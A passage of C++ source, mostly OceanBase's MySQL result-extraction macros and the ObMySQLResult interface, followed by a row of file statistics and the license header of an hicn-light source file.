SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else if (OB_ISNULL(lob_locator)) { \
obj.set_lob_locator(lob_locator); \
}
#define EXTRACT_LOB_FIELD_MYSQL(result, column_name, lob_locator) \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = (result).get_lob_locator(column_name, lob_locator))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_VARCHAR_FIELD_TO_CLASS_MYSQL(result, column_name, obj) \
if (OB_SUCC(ret)) { \
common::ObString varchar_value; \
if (OB_SUCCESS != (ret = (result).get_varchar(#column_name, varchar_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else if (OB_SUCCESS != (ret = (obj).set_##column_name(varchar_value))) { \
SQL_LOG(WARN, "fail to set column to object. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_VARCHAR_FIELD_MYSQL(result, column_name, field) \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = (result).get_varchar(column_name, field))) { \
if (share::is_oracle_mode() && (OB_ERR_NULL_VALUE == ret)) { \
SQL_LOG(WARN, "varchar is null on oracle mode", K(ret), K(column_name)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "fail to get varchar. ", K(ret), K(column_name)); \
} \
} \
}
#define EXTRACT_VARCHAR_FIELD_MYSQL_SKIP_RET(result, column_name, field) \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = (result).get_varchar(column_name, field))) { \
if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "get varchar failed", K(ret)); \
} \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_VARCHAR_FIELD_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, field, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = (result).get_varchar(column_name, field))) { \
if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name, K(ret)); \
field = default_value; \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "get varchar failed", K(ret)); \
} \
} \
}
#define EXTRACT_VARCHAR_FIELD_TO_CLASS_MYSQL_SKIP_RET(result, column_name, class_obj) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(#column_name, str_value))) { \
if (OB_FAIL((class_obj).set_##column_name(str_value))) { \
SQL_LOG(WARN, "fail to set value", KR(ret), K(str_value)); \
} \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "fail to extract varchar field mysql. ", K(ret)); \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_VARCHAR_FIELD_TO_CLASS_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, class_obj, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(#column_name, str_value))) { \
if (OB_FAIL((class_obj).set_##column_name(str_value))) { \
SQL_LOG(WARN, "fail to set value", KR(ret), K(str_value)); \
} \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
/*overwrite ret*/ \
if (OB_FAIL((class_obj).set_##column_name(str_value))) { \
SQL_LOG(WARN, "fail to set value", KR(ret), K(str_value)); \
} \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to extract varchar field mysql. ", K(ret)); \
} \
}
#define EXTRACT_STRBUF_FIELD_MYSQL_SKIP_RET(result, column_name, field, max_length, real_length) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(column_name, str_value))) { \
if (str_value.length() >= max_length) { \
ret = OB_SIZE_OVERFLOW; \
SQL_LOG(WARN, "field max length is not enough:", "max length", max_length, "str length", str_value.length()); \
} else { \
MEMCPY(field, str_value.ptr(), str_value.length()); \
real_length = str_value.length(); \
field[str_value.length()] = '\0'; \
} \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
real_length = 0; \
field[0] = '\0'; \
} else { \
SQL_LOG(WARN, "fail to extract strbuf field mysql. ", K(ret)); \
} \
}
#define EXTRACT_STRBUF_FIELD_TO_CLASS_MYSQL_SKIP_RET(result, column_name, class_obj, max_length) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(#column_name, str_value))) { \
if (str_value.length() >= max_length) { \
ret = OB_SIZE_OVERFLOW; \
SQL_LOG(WARN, "field max length is not enough:", "max length", max_length, "str length", str_value.length()); \
} else { \
ret = (class_obj).set_##column_name(str_value); \
} \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "fail to extract strbuf field mysql. ", K(ret)); \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_STRBUF_FIELD_TO_CLASS_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, class_obj, max_length, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(#column_name, str_value))) { \
if (str_value.length() > max_length) { \
ret = OB_SIZE_OVERFLOW; \
SQL_LOG(WARN, "field max length is not enough:", "max length", max_length, "str length", str_value.length()); \
} else { \
ret = (class_obj).set_##column_name(str_value); \
} \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(class_obj).set_##column_name(default_value); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to extract strbuf field mysql. ", K(ret)); \
} \
}
#define EXTRACT_STRBUF_FIELD_TO_CLASS_MYSQL(result, column_name, class_obj, max_length) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(#column_name, str_value))) { \
if (str_value.length() > max_length) { \
ret = OB_SIZE_OVERFLOW; \
SQL_LOG(WARN, "field max length is not enough:", "max length", max_length, "str length", str_value.length()); \
} else { \
ret = (class_obj).set_##column_name(str_value); \
} \
} else { \
SQL_LOG(DEBUG, "fail to extract strbuf field mysql. ", K(ret)); \
} \
}
#define EXTRACT_STRBUF_FIELD_MYSQL(result, column_name, field, max_length, real_length) \
if (OB_SUCC(ret)) { \
ObString str_value; \
if (OB_SUCCESS == (ret = (result).get_varchar(column_name, str_value))) { \
if (str_value.length() >= max_length) { \
ret = OB_SIZE_OVERFLOW; \
SQL_LOG(WARN, "field max length is not enough:", "max length", max_length, "str length", str_value.length()); \
} else { \
MEMCPY(field, str_value.ptr(), str_value.length()); \
real_length = str_value.length(); \
field[str_value.length()] = '\0'; \
} \
} else { \
SQL_LOG(DEBUG, "fail to extract strbuf field mysql. ", K(ret)); \
} \
}
/*
* EXTRACT_NEW_DEFAULT_VALUE_FIELD_MYSQL is used to obtain the default value in __all_column,
* which has been modified later. The default value may be obtained from cur_default_value or new_default_value.
* Compatibility processing is done here, and default_value_v2_version is used to distinguish between these two cases.
*/
#define EXTRACT_DEFAULT_VALUE_FIELD_MYSQL( \
result, column_name, data_type, class_obj, is_cur_default_value, default_value_v2_version, tenant_id) \
if (OB_SUCC(ret)) { \
ObString str_value; \
ObObj res_obj; \
ret = (result).get_varchar(#column_name, str_value); \
\
if (OB_ERR_NULL_VALUE == ret) { /* without default value */ \
if (!default_value_v2_version) { \
res_obj.set_null(); \
ret = (class_obj).set_##column_name(res_obj); \
} else { \
ret = OB_SUCCESS; \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
SQL_LOG(WARN, "column not found, ignore", "column_name", #column_name); \
ret = OB_SUCCESS; \
} else if (OB_SUCC(ret)) { \
if (is_cur_default_value && column.is_default_expr_v2_column()) { \
res_obj.set_varchar(str_value); \
ret = (class_obj).set_##column_name(res_obj); \
} else if (IS_DEFAULT_NOW_STR(data_type, str_value)) { \
res_obj.set_ext(ObActionFlag::OP_DEFAULT_NOW_FLAG); \
res_obj.set_scale(column.get_data_scale()); \
ret = (class_obj).set_##column_name(res_obj); \
} else if (ob_is_string_type(data_type)) { \
res_obj.set_string(data_type, str_value); \
res_obj.meta_.set_collation_type(column.get_collation_type()); \
/* will override the collaction level set in set_varchar */ \
res_obj.meta_.set_collation_level(CS_LEVEL_IMPLICIT); \
if (ob_is_text_tc(data_type)) { \
res_obj.set_lob_inrow(); \
} \
ret = (class_obj).set_##column_name(res_obj); \
} else if (ob_is_bit_tc(data_type) || ob_is_enum_or_set_type(data_type)) { \
ObObj def_obj; \
def_obj.set_varchar(str_value); \
ObObj tmp_obj; \
ObObj dest_obj; \
ObArenaAllocator allocator(ObModIds::OB_SCHEMA); \
ObCastCtx cast_ctx(&allocator, NULL, CM_NONE, column.get_collation_type()); \
if (OB_FAIL(ObObjCaster::to_type(ObUInt64Type, cast_ctx, def_obj, tmp_obj))) { \
SQL_LOG(WARN, "cast obj failed, ", "src type", def_obj.get_type()); \
} else { \
if (ObBitType == data_type) { \
dest_obj.set_bit(tmp_obj.get_uint64()); \
dest_obj.set_scale(column.get_data_precision()); \
} else if (ObEnumType == data_type) { \
dest_obj.set_enum(tmp_obj.get_uint64()); \
} else { /*set type*/ \
dest_obj.set_set(tmp_obj.get_uint64()); \
} \
ret = (class_obj).set_##column_name(dest_obj); \
} \
} else { \
ObObj def_obj; \
def_obj.set_varchar(str_value); \
ObArenaAllocator allocator(ObModIds::OB_SCHEMA); \
ObObj dest_obj; \
ObTimeZoneInfo tz_info; \
const ObDataTypeCastParams dtc_params(&tz_info); \
ObCastCtx cast_ctx(&allocator, &dtc_params, CM_NONE, column.get_collation_type()); \
if (OB_FAIL(OTTZ_MGR.get_tenant_tz(tenant_id, tz_info.get_tz_map_wrap()))) { \
SQL_LOG(WARN, "get tenant timezone map failed", K(ret)); \
} else if (OB_FAIL(ObObjCaster::to_type(data_type, cast_ctx, def_obj, dest_obj))) { \
SQL_LOG(WARN, "cast obj failed, ", "src type", def_obj.get_type(), "dest type", data_type); \
} else { \
dest_obj.set_scale(column.get_data_scale()); \
ret = (class_obj).set_##column_name(dest_obj); \
} \
} \
} else { \
SQL_LOG(WARN, "fail to default value field mysql. ", K(ret)); \
} \
}
#define EXTRACT_CREATE_TIME_FIELD_MYSQL(result, column_name, field, type) \
EXTRACT_INT_FIELD_MYSQL(result, column_name, field, type)
#define EXTRACT_MODIFY_TIME_FIELD_MYSQL(result, column_name, field, type) \
EXTRACT_INT_FIELD_MYSQL(result, column_name, field, type)
#define GET_COL_IGNORE_NULL(func, ...) \
({ \
{ \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = func(__VA_ARGS__))) { \
if (OB_ERR_NULL_VALUE == ret) { \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "get column failed", K(ret)); \
} \
} \
} \
} \
ret; \
})
// for partition table use
// If the value of the column is NULL, or the column does not exist, take the default value default_value
// Inner_sql_result, core_proxy, ob_mysql_result_impl check out the error code that does not exist
// They are OB_SIZE_OVERFLOW, OB_ERR_NULL_VALUE and OB_INVALID_ARGUMENT
#define GET_COL_IGNORE_NULL_WITH_DEFAULT_VALUE(func, idx, obj, default_value) \
({ \
{ \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = func(idx, obj))) { \
if (OB_ERR_NULL_VALUE == ret || OB_SIZE_OVERFLOW == ret || OB_INVALID_ARGUMENT == ret) { \
SQL_LOG(WARN, "get column failed, so set default value", K(ret), "obj", #obj); \
ret = OB_SUCCESS; \
obj = default_value; \
} else { \
SQL_LOG(WARN, "get column failed", K(ret)); \
} \
} \
} \
} \
ret; \
})
// for partition table use
// If the value of the column is NULL, or the column does not exist, take the default value default_value
// Inner_sql_result, core_proxy, ob_mysql_result_impl check out the error code that does not exist
// They are OB_SIZE_OVERFLOW, OB_ERR_NULL_VALUE and OB_INVALID_ARGUMENT
#define GET_TIMESTAMP_COL_BY_NAME_IGNORE_NULL_WITH_DEFAULT_VALUE(func, col_name, obj, default_value, tz_info) \
({ \
{ \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = func(col_name, tz_info, obj))) { \
if (OB_ERR_NULL_VALUE == ret || OB_SIZE_OVERFLOW == ret || OB_INVALID_ARGUMENT == ret || \
OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
obj = default_value; \
} else { \
SQL_LOG(WARN, "get column failed", K(ret)); \
} \
} \
} \
} \
ret; \
})
// Used to construct the ID encoded with tenant_id
#define EXTRACT_INT_FIELD_TO_CLASS_MYSQL_WITH_TENANT_ID(result, column_name, obj, tenant_id) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_int(#column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else { \
if (OB_INVALID_ID == int_value || 0 == int_value || OB_SYS_TENANT_ID == tenant_id) { \
(obj).set_##column_name(int_value); \
} else { \
(obj).set_##column_name(combine_id(tenant_id, int_value)); \
} \
} \
}
// Used to construct the ID encoded with tenant_id
#define EXTRACT_UINT_FIELD_TO_CLASS_MYSQL_WITH_TENANT_ID(result, column_name, obj, tenant_id) \
if (OB_SUCC(ret)) { \
uint64_t uint_value = 0; \
if (OB_SUCCESS != (ret = (result).get_uint(#column_name, uint_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else { \
if (OB_INVALID_ID == uint_value || 0 == uint_value || OB_SYS_TENANT_ID == tenant_id) { \
(obj).set_##column_name(uint_value); \
} else { \
(obj).set_##column_name(combine_id(tenant_id, uint_value)); \
} \
} \
}
// Macro with default value, used to construct ID with tenant_id encoded
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_INT_FIELD_TO_CLASS_MYSQL_WITH_TENANT_ID_AND_DEFAULT_VALUE( \
result, column_name, obj, tenant_id, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS == (ret = (result).get_int(#column_name, int_value))) { \
if (OB_INVALID_ID == int_value || 0 == int_value || OB_SYS_TENANT_ID == tenant_id) { \
(obj).set_##column_name(int_value); \
} else { \
(obj).set_##column_name(combine_id(tenant_id, int_value)); \
} \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<uint64_t>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<uint64_t>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_UINT_FIELD_TO_CLASS_MYSQL_WITH_TENANT_ID_AND_DEFAULT_VALUE( \
result, column_name, obj, tenant_id, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
uint64_t uint_value = 0; \
if (OB_SUCCESS == (ret = (result).get_uint(#column_name, uint_value))) { \
if (OB_INVALID_ID == uint_value || 0 == uint_value || OB_SYS_TENANT_ID == tenant_id) { \
(obj).set_##column_name(uint_value); \
} else { \
(obj).set_##column_name(combine_id(tenant_id, uint_value)); \
} \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<uint64_t>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<uint64_t>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
// Macro with default value, used to construct ID with tenant_id encoded
#define EXTRACT_INT_FIELD_MYSQL_WITH_TENANT_ID(result, column_name, field, tenant_id) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_int(column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", column_name, K(ret)); \
} else { \
if (OB_INVALID_ID == int_value || 0 == int_value || OB_SYS_TENANT_ID == tenant_id) { \
field = static_cast<uint64_t>(int_value); \
} else { \
field = combine_id(tenant_id, int_value); \
} \
} \
}
#define EXTRACT_UINT_FIELD_MYSQL_WITH_TENANT_ID(result, column_name, field, tenant_id) \
if (OB_SUCC(ret)) { \
uint64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_uint(column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", column_name, K(ret)); \
} else { \
if (OB_INVALID_ID == int_value || 0 == int_value || OB_SYS_TENANT_ID == tenant_id) { \
field = static_cast<uint64_t>(int_value); \
} else { \
field = combine_id(tenant_id, int_value); \
} \
} \
}
namespace oceanbase {
namespace common {
class ObIAllocator;
class ObNewRow;
class ObLobLocator;
class ObTimeZoneInfo;
class ObOTimestampData;
class ObIntervalYMValue;
class ObIntervalDSValue;
namespace sqlclient {
class ObMySQLResult {
public:
// see this for template virtual function
// http://cxh.me/2014/07/01/nvi-usage-of-virtual-template/
DEFINE_ALLOCATOR_WRAPPER
ObMySQLResult();
virtual ~ObMySQLResult();
// virtual int64_t get_row_count(void) const = 0;
// virtual int64_t get_column_count(void) const = 0;
/*
* move result cursor to next row
*/
virtual int close() = 0;
virtual int next() = 0;
// debug function
virtual int print_info() const;
/*
* read int/str/TODO from result set
* col_idx: indicate which column to read, [0, max_read_col)
*/
virtual int get_int(const int64_t col_idx, int64_t& int_val) const = 0;
virtual int get_uint(const int64_t col_idx, uint64_t& int_val) const = 0;
virtual int get_datetime(const int64_t col_idx, int64_t& datetime) const = 0;
virtual int get_date(const int64_t col_idx, int32_t& date) const = 0;
virtual int get_time(const int64_t col_idx, int64_t& time) const = 0;
virtual int get_year(const int64_t col_idx, uint8_t& year) const = 0;
virtual int get_bool(const int64_t col_idx, bool& bool_val) const = 0;
virtual int get_varchar(const int64_t col_idx, common::ObString& varchar_val) const = 0;
virtual int get_raw(const int64_t col_idx, common::ObString& varchar_val) const = 0;
virtual int get_float(const int64_t col_idx, float& float_val) const = 0;
virtual int get_double(const int64_t col_idx, double& double_val) const = 0;
virtual int get_timestamp(const int64_t col_idx, const common::ObTimeZoneInfo* tz_info, int64_t& int_val) const = 0;
virtual int get_otimestamp_value(const int64_t col_idx, const common::ObTimeZoneInfo& tz_info,
const common::ObObjType type, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_timestamp_tz(
const int64_t col_idx, const common::ObTimeZoneInfo& tz_info, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_timestamp_ltz(
const int64_t col_idx, const common::ObTimeZoneInfo& tz_info, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_timestamp_nano(
const int64_t col_idx, const common::ObTimeZoneInfo& tz_info, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_number(const int64_t col_idx, common::number::ObNumber& nmb_val) const
{
UNUSED(col_idx);
UNUSED(nmb_val);
return common::OB_NOT_IMPLEMENT;
}
virtual int get_urowid(const int64_t col_idx, common::ObURowIDData& urowid_data) const
{
UNUSED(col_idx);
UNUSED(urowid_data);
return OB_NOT_IMPLEMENT;
}
virtual int get_lob_locator(const int64_t col_idx, ObLobLocator*& lob_locator) const
{
UNUSED(col_idx);
UNUSED(lob_locator);
return OB_NOT_IMPLEMENT;
}
virtual int get_type(const int64_t col_idx, ObObjMeta& type) const = 0;
/// @note return OB_SUCCESS instead of OB_ERR_NULL_VALUE when obj is null
virtual int get_obj(const int64_t col_idx, ObObj& obj, const common::ObTimeZoneInfo* tz_info = NULL,
common::ObIAllocator* allocator = NULL) const = 0;
template <class Allocator>
int get_number(const int64_t col_idx, common::number::ObNumber& nmb_val, Allocator& allocator) const;
template <class Allocator>
int get_urowid(const int64_t col_idx, common::ObURowIDData& urowid_data, Allocator& allocator) const;
template <class Allocator>
int get_lob_locator(const int64_t col_idx, ObLobLocator*& lob_locator, Allocator& allocator) const;
virtual int get_interval_ym(const int64_t col_idx, common::ObIntervalYMValue& int_val) const = 0;
virtual int get_interval_ds(const int64_t col_idx, common::ObIntervalDSValue& int_val) const = 0;
virtual int get_nvarchar2(const int64_t col_idx, common::ObString& nvarchar2_val) const = 0;
virtual int get_nchar(const int64_t col_idx, common::ObString& nchar_val) const = 0;
/*
* read int/str/TODO from result set
* col_name: indicate which column to read
* @return OB_INVALID_PARAM if col_name does not exsit
*/
virtual int get_int(const char* col_name, int64_t& int_val) const = 0;
virtual int get_uint(const char* col_name, uint64_t& int_val) const = 0;
virtual int get_datetime(const char* col_name, int64_t& datetime) const = 0;
virtual int get_date(const char* col_name, int32_t& date) const = 0;
virtual int get_time(const char* col_name, int64_t& time) const = 0;
virtual int get_year(const char* col_name, uint8_t& year) const = 0;
virtual int get_bool(const char* col_name, bool& bool_val) const = 0;
virtual int get_varchar(const char* col_name, common::ObString& varchar_val) const = 0;
virtual int get_raw(const char* col_name, common::ObString& raw_val) const = 0;
virtual int get_float(const char* col_name, float& float_val) const = 0;
virtual int get_double(const char* col_name, double& double_val) const = 0;
virtual int get_timestamp(const char* col_name, const common::ObTimeZoneInfo* tz_info, int64_t& int_val) const = 0;
virtual int get_otimestamp_value(const char* col_name, const common::ObTimeZoneInfo& tz_info,
const common::ObObjType type, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_timestamp_tz(
const char* col_name, const common::ObTimeZoneInfo& tz_info, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_timestamp_ltz(
const char* col_name, const common::ObTimeZoneInfo& tz_info, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_timestamp_nano(
const char* col_name, const common::ObTimeZoneInfo& tz_info, common::ObOTimestampData& otimestamp_val) const = 0;
virtual int get_number(const char* col_name, common::number::ObNumber& nmb_val) const
{
UNUSED(col_name);
UNUSED(nmb_val);
return common::OB_NOT_IMPLEMENT;
}
virtual int get_urowid(const char* col_name, common::ObURowIDData& urowid_data) const
{
UNUSED(col_name);
UNUSED(urowid_data);
return common::OB_NOT_IMPLEMENT;
}
virtual int get_lob_locator(const char* col_name, ObLobLocator*& lob_locator) const
{
UNUSED(col_name);
UNUSED(lob_locator);
return common::OB_NOT_IMPLEMENT;
}
virtual int get_type(const char* col_name, ObObjMeta& type) const = 0;
virtual int get_obj(const char* col_name, ObObj& obj) const = 0;
template <class Allocator>
int get_number(const char* col_name, common::number::ObNumber& nmb_val, Allocator& allocator) const;
template <class Allocator>
int get_urowid(const char* col_name, common::ObURowIDData& urowid_data, Allocator& allocator) const;
template <class Allocator>
int get_lob_locator(const char* col_name, ObLobLocator*& lob_locator, Allocator& allocator) const;
virtual int get_interval_ym(const char* col_name, common::ObIntervalYMValue& int_val) const = 0;
virtual int get_interval_ds(const char* col_name, common::ObIntervalDSValue& int_val) const = 0;
virtual int get_nvarchar2(const char* col_name, common::ObString& nvarchar2_val) const = 0;
virtual int get_nchar(const char* col_name, common::ObString& nchar_val) const = 0;
// single row get value
int get_single_int(const int64_t row_idx, const int64_t col_idx, int64_t& int_val);
virtual const ObNewRow* get_row() const
{
return NULL;
}
protected:
static const int64_t FAKE_TABLE_ID = 1;
int varchar2datetime(const ObString& varchar, int64_t& datetime) const;
private:
virtual int inner_get_number(
const int64_t col_idx, common::number::ObNumber& nmb_val, IAllocator& allocator) const = 0;
virtual int inner_get_number(
const char* col_name, common::number::ObNumber& nmb_val, IAllocator& allocator) const = 0;
virtual int inner_get_urowid(
const char* col_name, common::ObURowIDData& urowid_data, common::ObIAllocator& allocator) const = 0;
virtual int inner_get_urowid(
const int64_t col_idx, common::ObURowIDData& urowid_data, common::ObIAllocator& allocator) const = 0;
virtual int inner_get_lob_locator(
const char* col_name, ObLobLocator*& lob_locator, common::ObIAllocator& allocator) const = 0;
virtual int inner_get_lob_locator(
const int64_t col_idx, ObLobLocator*& lob_locator, common::ObIAllocator& allocator) const = 0;
};
template <class Allocator>
int ObMySQLResult::get_number(const int64_t col_idx, common::number::ObNumber& nmb_val, Allocator& allocator) const
{
TAllocator<Allocator> ta(allocator);
return inner_get_number(col_idx, nmb_val, ta);
}
template <class Allocator>
int ObMySQLResult::get_number(const char* col_name, common::number::ObNumber& nmb_val, Allocator& allocator) const
{
TAllocator<Allocator> ta(allocator);
return inner_get_number(col_name, nmb_val, ta);
}
template <class Allocator>
int ObMySQLResult::get_urowid(const int64_t col_idx, common::ObURowIDData& urowid_data, Allocator& allocator) const
{
TAllocator<Allocator> ta(allocator);
return inner_get_urowid(col_idx, urowid_data, allocator);
}
template <class Allocator>
int ObMySQLResult::get_urowid(const char* col_name, common::ObURowIDData& urowid_data, Allocator& allocator) const
{
TAllocator<Allocator> ta(allocator);
return inner_get_urowid(col_name, urowid_data, allocator);
}
template <class Allocator>
int ObMySQLResult::get_lob_locator(const int64_t col_idx, ObLobLocator*& lob_locator, Allocator& allocator) const
{
TAllocator<Allocator> ta(allocator);
return inner_get_lob_locator(col_idx, lob_locator, allocator);
}
template <class Allocator>
int ObMySQLResult::get_lob_locator(const char* col_name, ObLobLocator*& lob_locator, Allocator& allocator) const
{
TAllocator<Allocator> ta(allocator);
return inner_get_lob_locator(col_name, lob_locator, allocator);
}
}
}
}
#endif // OCEANBASE_OB_MYSQL_RESULT_H_
| 74.511818 | 120 | 0.381013 | [
"object"
] |
64a57d854f6b6aa32687da9f167e0a6c3ba5b50c | 3,943 | h | C | hicn-light/src/hicn/processor/matchingRulesTable.h | muscariello/hicn-test | dba9cb958219d042e0a01f6758feb2c1ffabbf05 | [
"Apache-2.0"
] | 47 | 2019-02-18T13:54:34.000Z | 2022-03-03T04:46:50.000Z | hicn-light/src/hicn/processor/matchingRulesTable.h | icn-team/hicn | 72a9acca4500a9c07a4661fe112a1a212567fc9f | [
"Apache-2.0"
] | 1 | 2019-09-09T09:14:43.000Z | 2019-09-09T09:14:43.000Z | hicn-light/src/hicn/processor/matchingRulesTable.h | icn-team/hicn | 72a9acca4500a9c07a4661fe112a1a212567fc9f | [
"Apache-2.0"
] | 28 | 2019-02-22T17:40:03.000Z | 2021-08-18T02:39:40.000Z | /*
* Copyright (c) 2017-2019 Cisco and/or its affiliates.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @header matchingRulesTable
* @abstract A generic table (void *) that matches a Message
* @discussion
* Matching is done based on Name
*
* When used in the PIT, one calls
* <code>matchingRulesTable_AddToBestTable()</code> to add an interest to the
* "best" (i.e. most restrictive match) table, then calls
* <code>matchingRulesTable_GetUnion()</code> on a content object to match
* against all of them.
*
* When used in a ContentStore, one calls
